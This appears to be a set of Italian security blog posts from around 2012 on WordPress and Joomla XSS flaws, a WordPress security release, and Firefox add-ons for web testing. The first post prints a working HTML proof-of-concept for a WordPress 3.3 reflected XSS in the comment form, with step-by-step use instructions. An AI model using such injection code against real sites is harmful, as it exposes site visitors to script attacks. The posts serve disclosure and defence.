A pochi giorni dal rilascio della nuova versione di WordPress, la 3.3, due hacker indiani hanno individuato una vulnerabilità che permette di eseguire codice XSS sfruttando un problema nel form di pubblicazione dei commenti.
Praticamente per eseguire l’exploit è necessario per prima cosa pubblicare un commento sul WordPress vittima.
Una volta fatto ciò è necessario creare una pagina contente il seguente codice e pubblicarla in un proprio spazio Web.
<html>
<title>Wordpress 3.3 XSS PoC</title>
<body>
<form name="XSS" id="XSS" action="http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">
<input type="hidden" name="author" value="replace me"/>
<input type="hidden" name="email" value="replace me"/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="comment" value="replace me"/>
<input type="hidden" name="submit" value="Post Comment"/>
<input type="hidden" name="comment_post_ID" value="replace me"/>
<input type="hidden" name="comment_parent" value="0"/>
<input type="button" value="Click Me" />
</style></form>
</body>
</html>
Al posto di “replace me” vanno inseriti gli stessi dati usati nel precedente commento e al posto di “http://192.168.1.102/wordpress/” va inserito il riferimento del sito vittima.
A questo punto basterà cliccare sul tasto “Click me” e lo script provvederà nuovamente a pubblicare il post. Trovandolo già pubblicato genererà un errore di cotenuto duplicato ma il codice Javascript inserito nel “form action” della nostra pagina verrà eseguito.
Nell’esempio il codice Javascript da eseguire era il seguente:
<script>document.write(Date())</script>
che serve a visualizzare la data di sistema e, come si vede dalla seguente immagine,viene correttamenete eseguito dimostrando la vulnerabilità XSS.

In attesa di sviluppi e di una patch credo sia utile attivare temporaneamente un captcha o similare per i commenti così da evitare o almeno diminuire la possibilità di venire attaccati.
Link di riferimento
Zero Day Reflected Cross Site Scripting vulnerability in WordPress 3.3 – The Hackers News
Sorgenti Pastebin.com
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Ciao a tutti, dopo diverso tempo dall’ultimo post pubblico una vulnerabilità che potrà creare non pochi problemi agli utilizzatori del noto Cms Joomla.
E’ stata pubblicata da poco una vulnerabilità di tipo XSS per tutte le versioni < =1.5.20, ossia tutte le versioni attualmente pubblicate.
Tale exploit sfrutta una falla nella verifica delle variabili GET encodate eseguendo quindi il codice Javascript che si passa all’applicativo.
Full Discolsure Advisories
Al seguente video si potrà vedere un Proof of Concept dell’attacco Xss.
Proof of Concept by yehg.net
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Dopo il tanto parlare degli ultimi giorni circa la possibilità che gli attacchi hacker avvenissero grazie a falle presenti in WordPress 2.8.5, rilasciato neanche un mese fa, è stata appena annunciata la security release 2.8.6 che contiene due importati fix di sicurezza.
La prima è una vulnerabilità del componente “Press This” (Pubblicalo in italiano) scoperta da Benjamin Flesch che permetteva di eseguire XSS (Cross Site Scripting) agli utenti registrati con privilegi di pubblicazione.
La seconda, invece, è stata scoperta da Dawid Golunski e consentiva di aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache.
In attesa della versione WordPress 2.9 consiglio a tutti di provvedere ad aggiornare la propria versione tramite la funzione di “Aggiornamento Automatico” che verrà suggerita non appena entrerete nella vostra Bacheca.
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In questo articolo vi presenterò 5 utili Addons di Firefox che possono tornare utili in diverse situazioni e, in particolar modo, quando si vogliono testare vulnerabilità e similari di un applicativo web.
I plugins di cui parlerò sono i seguenti:
- Web Developer Bar
- Xss Me
- Sql Inject Me
- HackBar
- Tamper Data
Questi 5 plugin torneranno molto utili quando proveremo ad effettuare le nostre prime analisi di sicurezza in quanto permettono di analizzare diversi aspetti di un sito web. Va detto che non sono programmi “per bucare” ma semplicemente dei test i cui risultati, se si hanno le giuste conoscenze, possono aiutare ad individuare falle o vulnerabilità in un dato sito.
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3 gennaio 2012
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